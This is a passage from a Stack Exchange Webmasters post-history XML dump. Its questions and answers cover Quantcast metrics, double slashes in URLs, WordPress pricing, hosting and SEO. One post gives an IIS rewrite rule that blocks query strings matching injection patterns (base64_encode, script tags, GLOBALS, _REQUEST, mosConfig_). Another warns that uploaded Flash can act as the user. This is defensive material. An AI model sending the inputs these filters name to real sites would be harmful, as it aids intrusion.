  <row Id="17985" PostHistoryTypeId="2" PostId="8348" RevisionGUID="3ba62c1d-a72a-4796-ae32-d3c3fa64972c" CreationDate="2011-01-27T14:42:20.613" UserId="2027" Text="I recently started using Quantcast on my site to determine my audience (which, really the site is so small now that I already know).  When I look at some of the metrics on Quantcast, I see gender, education level, etc.  How does quantcast determine these?  Are they relatively accurate (I'm sure they are more accurate for a large site with more data to draw from).  Does it determine this from tracking IPs across my site and others?  What's going on that gives them enough data to even begin to give a metric on something like education level?" />
  <row Id="17986" PostHistoryTypeId="1" PostId="8348" RevisionGUID="3ba62c1d-a72a-4796-ae32-d3c3fa64972c" CreationDate="2011-01-27T14:42:20.613" UserId="2027" Text="How does quantcast determine values in metrics like &quot;percent of site visitors with a master's degree&quot;?" />
  <row Id="17987" PostHistoryTypeId="3" PostId="8348" RevisionGUID="3ba62c1d-a72a-4796-ae32-d3c3fa64972c" CreationDate="2011-01-27T14:42:20.613" UserId="2027" Text="&lt;analytics&gt;&lt;metrics&gt;&lt;quantcast&gt;" />
  <row Id="17989" PostHistoryTypeId="2" PostId="8350" RevisionGUID="8ea70bb0-4cde-4a24-a2d0-e919ac3ef6a9" CreationDate="2011-01-27T14:46:02.480" UserId="2552" Text="It sounds like you're looking for something like the [Atlassian][1] package of applications. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.atlassian.com/" />
  <row Id="17990" PostHistoryTypeId="2" PostId="8351" RevisionGUID="c93360b3-2bd6-4a50-8305-b3a3bd88cb88" CreationDate="2011-01-27T14:46:28.907" UserId="1089" Text="Depends on complexity of the theme, how much code editing is required (the words &quot;maybe&quot; and &quot;some&quot; tend to set alarm bells ringing for me.) and how much experience you have with word press. &#xD;&#xA;&#xD;&#xA;Could range from a day (or less) to a week (or more)." />
  <row Id="17996" PostHistoryTypeId="2" PostId="8353" RevisionGUID="1f55a02f-29a7-42e0-b636-a22a34d186b2" CreationDate="2011-01-27T14:52:48.290" UserId="2552" Text="&gt; Google Apps is one that we are considering. However, they are charging $50 per user, per year. Not so bad, considering the quality and the features they offer.&#xD;&#xA;&#xD;&#xA;It's free for less than 50 users which makes it a great solution if you're working with a small company. &#xD;&#xA;&#xD;&#xA;[Rackspace][1] Email hosting is fairly cheap coming in around $24 a year per user versus $50 (not really sure google charges that for each user or just the master account). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rackspace.com/apps/email_hosting/rackspace_email/" />
  <row Id="17997" PostHistoryTypeId="2" PostId="8354" RevisionGUID="d2411a45-06e9-4900-952e-3e5fc110da4c" CreationDate="2011-01-27T15:00:21.820" UserId="1424" Text="What does the double slash mean ? (I'm not referring to the beginning right after `http:`).&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    http://www.imywebsite.gov/sectionA/sectionB//section/page/&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;" />
  <row Id="17998" PostHistoryTypeId="1" PostId="8354" RevisionGUID="d2411a45-06e9-4900-952e-3e5fc110da4c" CreationDate="2011-01-27T15:00:21.820" UserId="1424" Text="What does the double slash mean in URLs ? " />
  <row Id="17999" PostHistoryTypeId="3" PostId="8354" RevisionGUID="d2411a45-06e9-4900-952e-3e5fc110da4c" CreationDate="2011-01-27T15:00:21.820" UserId="1424" Text="&lt;url&gt;" />
  <row Id="18000" PostHistoryTypeId="5" PostId="8345" RevisionGUID="8a13d59b-d755-45f3-a6dc-dadc45b4e39a" CreationDate="2011-01-27T15:04:10.437" UserId="4953" Comment="added 519 characters in body" Text="I know this isn't properly a technical question but I hope this is ok here.&#xD;&#xA;&#xD;&#xA;The question is simple: **how much should I charge a customer for a Wordpress installation &amp; configuration?** Configuration simply means I have to install him a theme (which is not provided by me), various plugins and maybe edit some lines of code here and there to make the whole thing work fine.&#xD;&#xA;&#xD;&#xA;**MORE INFO**&#xD;&#xA;&#xD;&#xA;I don't do this for a living, I'm just doing this for this single customer. He told me he wants to customize some features of the blog which I think will require a bit of code editing, but these will be small modifications, because I already told him that more substantial modifications will be billed separately.&#xD;&#xA;&#xD;&#xA;I don't know exactly how long will this take, but probably just 1 day for the setup and some more days to adapt the blog to the customer requests which will eventually come up later" />
  <row Id="18001" PostHistoryTypeId="2" PostId="8355" RevisionGUID="cd9d61e9-984b-4fdf-bb8c-3482b7271961" CreationDate="2011-01-27T15:08:34.660" UserDisplayName="user4955" Text="I'm using this:&#xD;&#xA;&#xD;&#xA;            &lt;rule name=&quot;Imported Rule 1&quot; stopProcessing=&quot;true&quot;&gt;&#xD;&#xA;          &lt;match url=&quot;^(.*)$&quot; ignoreCase=&quot;false&quot; /&gt;&#xD;&#xA;          &lt;conditions logicalGrouping=&quot;MatchAny&quot;&gt;&#xD;&#xA;            &lt;add input=&quot;{QUERY_STRING}&quot; pattern=&quot;mosConfig_[a-zA-Z_]{1,21}(=|\%3D)&quot; ignoreCase=&quot;false&quot; /&gt;&#xD;&#xA;            &lt;add input=&quot;{QUERY_STRING}&quot; pattern=&quot;base64_encode.*\(.*\)&quot; ignoreCase=&quot;false&quot; /&gt;&#xD;&#xA;            &lt;add input=&quot;{QUERY_STRING}&quot; pattern=&quot;(\&amp;lt;|%3C).*script.*(\&gt;|%3E)&quot; /&gt;&#xD;&#xA;            &lt;add input=&quot;{QUERY_STRING}&quot; pattern=&quot;GLOBALS(=|\[|\%[0-9A-Z]{0,2})&quot; ignoreCase=&quot;false&quot; /&gt;&#xD;&#xA;            &lt;add input=&quot;{QUERY_STRING}&quot; pattern=&quot;_REQUEST(=|\[|\%[0-9A-Z]{0,2})&quot; ignoreCase=&quot;false&quot; /&gt;&#xD;&#xA;          &lt;/conditions&gt;&#xD;&#xA;          &lt;action type=&quot;CustomResponse&quot; url=&quot;index.php&quot; statusCode=&quot;403&quot; statusReason=&quot;Forbidden&quot; statusDescription=&quot;Forbidden&quot; /&gt;&#xD;&#xA;        &lt;/rule&gt;&#xD;&#xA;        &lt;rule name=&quot;Imported Rule 2&quot;&gt;&#xD;&#xA;          &lt;match url=&quot;(.*)&quot; ignoreCase=&quot;false&quot; /&gt;&#xD;&#xA;          &lt;conditions logicalGrouping=&quot;MatchAll&quot;&gt;&#xD;&#xA;            &lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsFile&quot; negate=&quot;true&quot; pattern=&quot;&quot; ignoreCase=&quot;false&quot; /&gt;&#xD;&#xA;            &lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsDirectory&quot; negate=&quot;true&quot; pattern=&quot;&quot; ignoreCase=&quot;false&quot; /&gt;&#xD;&#xA;            &lt;add input=&quot;{URL}&quot; negate=&quot;true&quot; pattern=&quot;^/index.php&quot; ignoreCase=&quot;false&quot; /&gt;&#xD;&#xA;            &lt;add input=&quot;{URL}&quot; pattern=&quot;(/|\.php|\.html|\.htm|\.feed|\.pdf|\.raw|/[^.]*)$&quot; /&gt;&#xD;&#xA;          &lt;/conditions&gt;&#xD;&#xA;          &lt;action type=&quot;Rewrite&quot; url=&quot;index.php&quot; /&gt;&#xD;&#xA;        &lt;/rule&gt;&#xD;&#xA;      &lt;/rules&gt;&#xD;&#xA;    &lt;/rewrite&gt;" />
  <row Id="18002" PostHistoryTypeId="2" PostId="8356" RevisionGUID="9197b490-e80d-452b-9611-0e11d26862fc" CreationDate="2011-01-27T15:08:52.100" UserId="108" Text="That is an error in the programmers'/developers' code.&#xD;&#xA;&#xD;&#xA;For instance if you navigate to: http://www.imywebsite.gov/sectionA/sectionB/section/page/&#xD;&#xA;And then add a slash: http://www.imywebsite.gov/sectionA/sectionB//section/page/&#xD;&#xA;&#xD;&#xA;The exact same page will load in most modern browsers.  This is something you want to fix.  If you have the double slash it could confuse Google's web crawlers and make them think there is 2 versions of the page." />
  <row Id="18003" PostHistoryTypeId="2" PostId="8357" RevisionGUID="b394193b-1170-4907-9323-7fcda240ea80" CreationDate="2011-01-27T15:13:31.260" UserId="4011" Text="Like this : http://www.quantcast.com/how-we-do-it" />
  <row Id="18004" PostHistoryTypeId="2" PostId="8358" RevisionGUID="09ba185b-3cda-446f-89b3-dc2bf719c804" CreationDate="2011-01-27T15:21:11.297" UserId="1757" Text="The fairest thing to do would be to charge an hourly rate and bill him for however long it takes. It shouldn't take too long though. An average Wordpress install/setup only takes about an hour in my experience. So charging much more than $50 USD for setting it up and installing a premade theme would probably be unethical.&#xD;&#xA;&#xD;&#xA;Also, it's generally a bad idea to modify the core libraries of software packages like Wordpress. Most of these popular apps are designed to be extensible via plugins, templates and such. Make the changes through the proper means, otherwise he'll have serious problems when he needs to upgrade or apply a security patch." />
  <row Id="18005" PostHistoryTypeId="6" PostId="8344" RevisionGUID="ca71c222-6905-415f-9543-71ba02f3d8af" CreationDate="2011-01-27T15:37:56.673" UserId="2552" Comment="edited tags" Text="&lt;email&gt;&lt;google-apps&gt;" />
  <row Id="18006" PostHistoryTypeId="2" PostId="8359" RevisionGUID="fb2d704d-9a34-4966-ac89-1d9635d44712" CreationDate="2011-01-27T15:48:25.897" UserId="2552" Text="I do know flash and yes this is a terrible idea! This is what started all the trouble for myspace with self replicating virus worms. It's really simple, with flash I can get your browser to make all sorts of calls/connections/login to sites/post things as you/etc. It's amazing how much you can pull off a user with flash and report it back to any server/location on the web.&#xD;&#xA;&#xD;&#xA;Do not let your users upload flash unless you plan to have them send you the .fla file and you're going to code review it and compile it yourself. " />
  <row Id="18007" PostHistoryTypeId="2" PostId="8360" RevisionGUID="836c45c4-9be7-41f5-9404-e1222b20cbf8" CreationDate="2011-01-27T15:51:37.813" UserDisplayName="Bobalandi" Text="I know they use MediaWiki but do they use any specific extensions that allow them to have hierarchies of pages/etc?" />
  <row Id="18008" PostHistoryTypeId="1" PostId="8360" RevisionGUID="836c45c4-9be7-41f5-9404-e1222b20cbf8" CreationDate="2011-01-27T15:51:37.813" UserDisplayName="Bobalandi" Text="What Software Does Wikibooks Use?" />
  <row Id="18009" PostHistoryTypeId="3" PostId="8360" RevisionGUID="836c45c4-9be7-41f5-9404-e1222b20cbf8" CreationDate="2011-01-27T15:51:37.813" UserDisplayName="Bobalandi" Text="&lt;php&gt;&lt;mediawiki&gt;" />
  <row Id="18010" PostHistoryTypeId="17" PostId="8360" RevisionGUID="d607e559-ab6a-4ba2-9923-c5cd12cd2f93" CreationDate="2011-01-27T15:57:21.580" UserId="-1" Comment="from http://serverfault.com/questions/227668/what-software-does-wikibooks-use" Text="" />
  <row Id="18011" PostHistoryTypeId="5" PostId="8359" RevisionGUID="9ac0964b-7df8-4fa2-90da-a7342d2ad52f" CreationDate="2011-01-27T16:00:23.417" UserId="2552" Comment="added 5 characters in body" Text="I do know flash and yes this is a terrible idea! This is what started all the trouble for myspace with self replicating virus worms. It's really simple, with flash I can get your browser to make all sorts of calls/connections/login to sites/post things as you/etc. It's amazing how much you can pull off a user with flash and report it back to any server/location on the web.&#xD;&#xA;&#xD;&#xA;Do not let your users upload/post flash unless you plan to have them send you the .fla file and you're going to code review it and compile it yourself. " />
  <row Id="18017" PostHistoryTypeId="10" PostId="8346" RevisionGUID="4033511d-e845-4777-86a3-6ca1e9135b9e" CreationDate="2011-01-27T16:04:18.083" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18018" PostHistoryTypeId="10" PostId="8333" RevisionGUID="8f0299fb-74dc-4aac-b3b4-1a57b88f3cbe" CreationDate="2011-01-27T16:10:50.463" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18019" PostHistoryTypeId="10" PostId="8320" RevisionGUID="1c29d359-1129-45c6-8cdb-f2ec22505e43" CreationDate="2011-01-27T16:11:44.113" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18020" PostHistoryTypeId="2" PostId="8361" RevisionGUID="c0768136-1773-4d32-b629-7ba15d00046e" CreationDate="2011-01-27T16:16:26.237" UserId="4957" Text="Dennis: If you want to make your CMS the best of the &quot;next generation&quot; IMHO, you'd be better off supporting and preserving metadata standards that are used for describing images such as IPTC-IIM and XMP rather than just Exif.&#xD;&#xA;&#xD;&#xA;See my article, &quot;Why Embedded Photo Metadata Won't Help Your SEO (at least without some help)&quot; [http://www.controlledvocabulary.com/blog/embedded-metadata-wont-help-seo.html][1] for details about those standards and what can be done.&#xD;&#xA;&#xD;&#xA;In order to make keywords (as well as captions) more useful for SEO, they need to be extracted from the images and &quot;exposed&quot; so that they are visible as text on the pages where the images appear. As another post noted, you could also include these as &quot;Alt&quot; or &quot;title&quot; tags for the images as well, but visible text on the page seems to carry more weight in the search algorithms at present. &#xD;&#xA;&#xD;&#xA;David &#xD;&#xA;&#xD;&#xA;  [1]: http://www.controlledvocabulary.com/blog/embedded-metadata-wont-help-seo.html" />
  <row Id="18021" PostHistoryTypeId="2" PostId="8362" RevisionGUID="eb49ed34-77c2-4c43-b1d7-da4c17ea9313" CreationDate="2011-01-27T16:23:28.903" UserId="3310" Text="http://en.wikibooks.org/wiki/Special:Version&#xD;&#xA;&#xD;&#xA;Shows you all the extensions that they are using" />
  <row Id="18022" PostHistoryTypeId="2" PostId="8363" RevisionGUID="31d0f5e1-e5d8-4640-96af-db3d293c4ef0" CreationDate="2011-01-27T16:25:02.667" UserId="1253" Text="If you want higher PageRank you need to get more links to point to your pages (web sites don't have PageRank, pages do). The only way to increase your PageRank is with links as PageRank is a numerical representation of link popularity. Nothing else affects PageRank.&#xD;&#xA;&#xD;&#xA;If you want to increase your page's rank then you need to follow the basic principles of SEO which have been rehashed countless times here and on many websites." />
  <row Id="18023" PostHistoryTypeId="10" PostId="8335" RevisionGUID="0cbcb381-7e82-4c38-8dd9-4e11e1fa5024" CreationDate="2011-01-27T16:31:18.667" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18024" PostHistoryTypeId="2" PostId="8364" RevisionGUID="e15dd5a6-96ed-454e-b20c-9e6808cf06c8" CreationDate="2011-01-27T16:42:49.827" UserId="1253" Text="If a user does a search for an exact string (using quotes) then stripping those words will have a negative effect on your rankings. Wordpress leaves them in and it seems to work for the countless number of blogs that use it so I'd say leave them in." />
  <row Id="18025" PostHistoryTypeId="25" PostId="8354" RevisionGUID="62b50858-5406-4a9e-b102-285a29d75c05" CreationDate="2011-01-27T17:16:02.513" Comment="http://twitter.com/#!/StackWebmasters/status/30675410077360128" />
  <row Id="18026" PostHistoryTypeId="2" PostId="8365" RevisionGUID="86ff41ed-fcc5-4720-aec1-e477f40257cd" CreationDate="2011-01-27T17:28:29.350" UserId="4958" Text="My website (a soccer portal, containing Joomla and SMF) in the last months has grown so much that the shared-hosting service I bought about three months ago has decided to rescind our contract and pay the remaining nine months (since the contract is for one-year).&#xD;&#xA;&#xD;&#xA;I already searched on the net and on stackexchange too, of course, but I didn't find a solution to this problem. &#xD;&#xA;&#xD;&#xA;The website's load is about 280'000-300'000 hits/month. &#xD;&#xA;That's about 10'000 hits/day. This is the main reason they rescinded the contract: we exceeded the number of processes allowed: no other reason exists.&#xD;&#xA;&#xD;&#xA;On the web, I read they all say that &quot;if you use a lot of resources, you need a dedicated/virtual server&quot; (something like a VPS). &#xD;&#xA;Ok, so I've searched for a VPS, but I've found they are all too expensive! &#xD;&#xA;The cheapest I've found (on this Q&amp;A board) is Linode, that's about 20$/month. &#xD;&#xA;That could be a very good solution, but I've still some doubts.&#xD;&#xA;&#xD;&#xA;My question is: granted that some friends of mine are system analysts, so I wouldn't spend any money to administrate the server, can you suggest the cheapest and most basic hosting/server solution (I mean VPS, dedicated-hosting, shared-hosting, cloud...) for my problem?&#xD;&#xA;&#xD;&#xA;As I've already said, our website uses two technologies: Joomla and SMF, so we need the most basic solutions. We don't offer emails to our users, we don't need subdomains, we don't need special technologies as Zope, Tomcat and so on. The most basic: PHP/MySQL. And *if exists* CPanel, just for ease. &#xD;&#xA;Linode is the best I've found, but do other solutions - according to my parameters - exist?&#xD;&#xA;&#xD;&#xA;Thank you very much." />
  <row Id="18027" PostHistoryTypeId="1" PostId="8365" RevisionGUID="86ff41ed-fcc5-4720-aec1-e477f40257cd" CreationDate="2011-01-27T17:28:29.350" UserId="4958" Text="Could you suggest me the cheapest and most &quot;basic&quot; hosting/server solution for my website?" />
  <row Id="18028" PostHistoryTypeId="3" PostId="8365" RevisionGUID="86ff41ed-fcc5-4720-aec1-e477f40257cd" CreationDate="2011-01-27T17:28:29.350" UserId="4958" Text="&lt;web-hosting&gt;&lt;shared-hosting&gt;&lt;vps&gt;&lt;dedicated-hosting&gt;&lt;suggestions&gt;" />
  <row Id="18029" PostHistoryTypeId="2" PostId="8366" RevisionGUID="9e165490-caee-4f91-afa6-47bc889df8a6" CreationDate="2011-01-27T17:50:52.127" UserId="4945" Text="If you are not needing a database, then you can go with Yahoo. I, however, would suggest using godaddy's basic plan. There are some that are cheaper, yes, but what you get with them is the ability to pick up the phone and talk to someone in about 5 minutes. Make sure you get Linux based hosting." />
  <row Id="18030" PostHistoryTypeId="2" PostId="8367" RevisionGUID="614deb1a-1d29-4000-9eb1-631698414369" CreationDate="2011-01-27T17:58:08.870" UserId="4945" Text="Here are [several plugins][1] that may accomplish what you are looking to do. Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/search.php?q=tag+links&amp;sort=" />
  <row Id="18032" PostHistoryTypeId="2" PostId="8368" RevisionGUID="e7f831e7-b1b9-4dcb-8ee5-14df79fa2138" CreationDate="2011-01-27T18:08:43.833" UserId="4945" Text="All these answers are right on. There is also another option. [CMS Made Simple][1]. It allows you to add CMS to your hand made pages. If you are going to develop websites for clients, you should at the very least have a [good knowledge][2] of HTML and CSS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cmsmadesimple.org/&#xD;&#xA;  [2]: http://www.w3schools.com/" />
  <row Id="18033" PostHistoryTypeId="2" PostId="8369" RevisionGUID="deb5fd61-9ae7-4e0a-8429-e0a4b294470c" CreationDate="2011-01-27T18:12:27.340" UserId="4945" Text="[This article][1] on Smashing Magazine has some good horizontal rule image replacements.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2008/09/09/the-hr-contest-results-download-your-fresh-hr-line-now/" />
  <row Id="18034" PostHistoryTypeId="2" PostId="8370" RevisionGUID="f8115c31-69df-412b-b384-42422dc8ba2c" CreationDate="2011-01-27T18:18:45.990" UserId="4945" Text="I have been searching the internet and cannot find a good resource of information about what to use exactly to make a website work well in Safari Mobile. I looked in Apple's Safari Mobile dev docs, and the pages are never ending.&#xD;&#xA;&#xD;&#xA;Does anyone have some experience they can throw my way?" />
  <row Id="18035" PostHistoryTypeId="1" PostId="8370" RevisionGUID="f8115c31-69df-412b-b384-42422dc8ba2c" CreationDate="2011-01-27T18:18:45.990" UserId="4945" Text="Safari Mobile suggested tags" />
  <row Id="18036" PostHistoryTypeId="3" PostId="8370" RevisionGUID="f8115c31-69df-412b-b384-42422dc8ba2c" CreationDate="2011-01-27T18:18:45.990" UserId="4945" Text="&lt;web-development&gt;&lt;iphone&gt;&lt;safari&gt;&lt;ipad&gt;" />
  <row Id="18037" PostHistoryTypeId="2" PostId="8371" RevisionGUID="c2b5e16b-4824-4903-8bce-424fb7effcb7" CreationDate="2011-01-27T18:29:16.930" UserId="4945" Text="I have used Photoshop (not Elements) for years. It is a fantastic program. Recently though, I have been using PS Elements. I love it. &#xD;&#xA;&#xD;&#xA;It's cheaper. It does every thing that I need in order to create simple graphics and edit photos. It also lets me create the image types I need, such as gif, jpg, and png. So far I have found no downsides. &#xD;&#xA;&#xD;&#xA;I also have a PC running Ubuntu, so Adobe products are out of the question. I've been using GIMP and InkScape. They are free, but a little cumbersome to move around in. On my windows laptop I have also used paint.net. It's free and lets me do some intermediate design and images. &#xD;&#xA;&#xD;&#xA;I think that you can't go wrong with PS Elements, but maybe give some opensource programs a try too. I have never tried Paintshop." />
  <row Id="18038" PostHistoryTypeId="2" PostId="8372" RevisionGUID="e59943e7-8bda-415f-93d6-102b71af787e" CreationDate="2011-01-27T18:30:07.367" UserDisplayName="user4716" Text="Ive recently downloaded joomla using an instant download option, and now im looking to create my own templates, so i went to http://www.siteground.com/tutorials/joomla15/joomla_create_template.htm and Im trying to follow the tuturial but ive failed at the first hurdle... where it says &#xD;&#xA;&#xD;&#xA;&quot;First, open the &quot;templates&quot; directory in your Joomla installation. Then create a subfolder in it named &quot;tutorial_template&quot;. All the files of your template will reside in it.&quot;&#xD;&#xA;&#xD;&#xA;The problem is I have no clue how to do this, where is the directory to start with?? the only thing I know how to get up is the administrators screen, in which I have to choose one of the stock templates, which would be great if I didnt care about my own designs...but obviously im looking to have my own html and css coding used instead.&#xD;&#xA;&#xD;&#xA;How do I find where the folders are and how do I open them?&#xD;&#xA;Im sorry if its a bit of a dumb question but im so confused..so early on.&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;Ryan" />
  <row Id="18039" PostHistoryTypeId="1" PostId="8372" RevisionGUID="e59943e7-8bda-415f-93d6-102b71af787e" CreationDate="2011-01-27T18:30:07.367" UserDisplayName="user4716" Text="The joomla 'create a template' tutorial" />
  <row Id="18040" PostHistoryTypeId="3" PostId="8372" RevisionGUID="e59943e7-8bda-415f-93d6-102b71af787e" CreationDate="2011-01-27T18:30:07.367" UserDisplayName="user4716" Text="&lt;joomla&gt;" />
  <row Id="18041" PostHistoryTypeId="2" PostId="8373" RevisionGUID="f571559d-6a4c-4a72-8b79-eb1adbf939d2" CreationDate="2011-01-27T18:34:57.047" UserId="4962" Text="If you are getting 10k hits daily, I have no idea why you can't spend $100 a month for a decent dedicated box. You can easily make 50 times the money of the server by advertising in your site, if you are getting the kind of traffic you are claiming.&#xD;&#xA;&#xD;&#xA;Check our hostgator, they are the best in terms of prices and offer the best linux hosting so far in my experience." />
  <row Id="18043" PostHistoryTypeId="2" PostId="8375" RevisionGUID="8ef2b00b-6f05-4b4d-9891-953c22157e5c" CreationDate="2011-01-27T18:40:32.343" UserId="4945" Text="I know this question is a little dated, but...&#xD;&#xA;I use Wordpress Mobile Edition. I have found no problems with it. Works great on my iPod Touch and iPad.&#xD;&#xA;&#xD;&#xA;I think the best thing to do with any plugins are to try them out first." />
  <row Id="18044" PostHistoryTypeId="2" PostId="8376" RevisionGUID="a22c1fae-cc31-45ca-9ea1-9e2f3f4d73f1" CreationDate="2011-01-27T18:43:10.410" UserDisplayName="user4963" Text="I am planning to update content on an already performing page and expand the content on page. In order to accommodate the extra content, updating the title of the page is necessary and I think could help the SERP of the page. The question is around updating the URL as well, which would require a 301.&#xD;&#xA;&#xD;&#xA;The URL is constructed: http://www.domain.com/title&#xD;&#xA;&#xD;&#xA;How important is it to update the URL to reflect the new title of the page?" />
  <row Id="18045" PostHistoryTypeId="1" PostId="8376" RevisionGUID="a22c1fae-cc31-45ca-9ea1-9e2f3f4d73f1" CreationDate="2011-01-27T18:43:10.410" UserDisplayName="user4963" Text="Changing title (H1) of page- is it necessary to change URL?" />
  <row Id="18046" PostHistoryTypeId="3" PostId="8376" RevisionGUID="a22c1fae-cc31-45ca-9ea1-9e2f3f4d73f1" CreationDate="2011-01-27T18:43:10.410" UserDisplayName="user4963" Text="&lt;seo&gt;" />
  <row Id="18050" PostHistoryTypeId="2" PostId="8378" RevisionGUID="d7f6ef59-590e-4f9b-a077-ba477de6603d" CreationDate="2011-01-27T18:47:00.637" UserId="4945" Text="What I have done is set a base price for installation, theme and plugin uploads, and about a 30 minute walk through. that was roughly $80. I found that if a client &quot;just wanted&quot; a WP install, it was a dis-service to not give them some kind of instruction on how to use it. &#xD;&#xA;&#xD;&#xA;Here's why:&#xD;&#xA;The back end of WP can be overwhelming to most clients. So a possible solution is to install one of several WP CMS plugins. It dumbs down the back end, and you can specify what they can see and edit in some of the plugins.&#xD;&#xA;&#xD;&#xA;Conclusion:&#xD;&#xA;I usually did a wordpress setup with adding site content, plugins and theme tweaking for about $110 - $150.&#xD;&#xA;&#xD;&#xA;Just be careful not to get in over your head without charging appropriately. " />
  <row Id="18051" PostHistoryTypeId="2" PostId="8379" RevisionGUID="52c56bee-b7ca-48eb-94c9-34d625e06af6" CreationDate="2011-01-27T18:49:41.147" UserId="4965" Text="I'm just creating a new site from scratch. Each page in that site will have a default language and I'd like the markup to reflect it because there will be multiple languages.&#xD;&#xA;&#xD;&#xA;I'm using HTML 4.01 and I'm targetting older browsers as well (e.g. IE 6, Opera 8, Lynx etc.). Regarding Cross-Browser compatibility as well as of &quot;best practices&quot; where to place the [lang attribute][1]: To the HTML tag or to the BODY tag or does this make no difference at all?&#xD;&#xA;&#xD;&#xA;I'm going towards the BODY tag as it contains all the default languages text, while the HEAD might not always. But I have no clue if any browser is taking care of the lang attribute anyway. Any hints?&#xD;&#xA;&#xD;&#xA;(or is this a question for http://doctype.com/ ?)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/html401/struct/dirlang.html" />
  <row Id="18052" PostHistoryTypeId="1" PostId="8379" RevisionGUID="52c56bee-b7ca-48eb-94c9-34d625e06af6" CreationDate="2011-01-27T18:49:41.147" UserId="4965" Text="HTML (4.01) &quot;lang&quot; attribute: Best practice / Browser compat for where to place: HTML or BODY?" />
  <row Id="18053" PostHistoryTypeId="3" PostId="8379" RevisionGUID="52c56bee-b7ca-48eb-94c9-34d625e06af6" CreationDate="2011-01-27T18:49:41.147" UserId="4965" Text="&lt;html&gt;&lt;language&gt;" />
  <row Id="18054" PostHistoryTypeId="2" PostId="8380" RevisionGUID="6784f5d5-eacf-4c70-bf78-d539eff6dc85" CreationDate="2011-01-27T19:01:06.637" UserId="108" Text="Your H1 and Title tag do not need to be the same.  See an earlier question I asked that was similar, http://webmasters.stackexchange.com/questions/2631/should-my-title-tag-be-the-same-as-my-h1-tag.&#xD;&#xA;&#xD;&#xA;You should consider putting the most important words in both your H1 and title tags for a specific page.  Also, Google does pay attention to work order in the Title tag and H1 tag.  That means you want to put the most important word(s) first as they will get more weight.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18058" PostHistoryTypeId="5" PostId="8304" RevisionGUID="07d73c83-1b41-4fa2-a8f3-226dfe6e0895" CreationDate="2011-01-27T20:10:23.507" UserId="4930" Comment="deleted 4 characters in body" Text="&gt; **Duplicate:**  &#xD;&#xA;&gt; [Web hosting options for Ruby on Rails applications](http://webmasters.stackexchange.com/questions/8129/web-hosting-options-for-ruby-on-rails-applications)  &#xD;&#xA;&#xD;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xD;&#xA;&#xD;&#xA;Hi,&#xD;&#xA;&#xD;&#xA;We're looking for a good Ruby on Rails hosting. Basically we need the following features:&#xD;&#xA;&#xD;&#xA; - Unlimited disk space and monthly bandwidth&#xD;&#xA; - Unlimited domains&#xD;&#xA; - Full SSH access&#xD;&#xA; - Support various versions of Rails (2.3.8 and 3.0 for ex.)&#xD;&#xA; - Passenger and capistrano deployment support&#xD;&#xA; - EXCELLENT client support: We're new at Ruby on Rails, so currently we have several problems when deploying rails app. Our current hosting (RailsPlayground) offers awesome support, but we are looking for a new one because of the disk space and bandwidth limits.&#xD;&#xA; - A nice panel (cPanel or similar).&#xD;&#xA; - Basically we need to focus on application development and not worry too much about deployment and related stuff.&#xD;&#xA; - Fair price&#xD;&#xA;&#xD;&#xA;We need a truly Ruby on Rails hosting, with people that have expertise in deploying and hosting Rails apps., not just a normal hosting that someday decided to install ruby and rails just to support it, if you know what I mean. &#xD;&#xA;&#xD;&#xA;We don't need high performance, we need to host several rails applications. If one application is getting lots of traffic and needs better performance, then we'll move it to a VPS or some high-scalable and performance hosting.&#xD;&#xA;&#xD;&#xA;I'll create some answers with a few hostings that I've been recommended. Please feel free to vote and add comments about them or reply with another.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="18059" PostHistoryTypeId="25" PostId="8376" RevisionGUID="5dff1c72-52d6-404c-b0de-1081f9177b9d" CreationDate="2011-01-27T20:16:04.503" Comment="http://twitter.com/#!/StackWebmasters/status/30720717054025728" />
  <row Id="18060" PostHistoryTypeId="2" PostId="8381" RevisionGUID="1db18bef-7171-46cc-8000-5027f807e61d" CreationDate="2011-01-27T21:28:58.697" UserId="3644" Text="As mentioned by &lt;a href=&quot;http://webmasters.stackexchange.com/questions/8354/what-does-the-double-slash-mean-in-urls/8356#8356&quot;&gt;@RandomBen&lt;/a&gt;, the double slash is most likely the result of an error somewhere.&#xD;&#xA;&#xD;&#xA;That the page loads has nothing to do with the *browser*, but rather that the *server* ignores the extra slash.  The browser doesn't do anything special with extra slashes in the URL, it just sends them along in the request:&#xD;&#xA;&#xD;&#xA;    GET /sectionA/sectionB//section/page HTTP/1.1&#xD;&#xA;    Host: www.imysite.gov&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;It looks like current versions of Apache and IIS both will ignore the extra slashes while resolving the path and return the document that would have been returned had the URL not had extra slashes.  **However**, browsers (I tested IE 8 and Chrome 9) get confused by any relative URLs (containing parent path components) of resources in the page, which produces bad results.  For example, if a page has:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; href=&quot;../../style.css&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Upon loading the page `/a/b/c/`, the browser will request `/a/style.css`.  But if&amp;mdash;for whatever reason&amp;mdash;`/a/b//c/` is requested (and the server ignores the extra slash), the browser will end up requesting 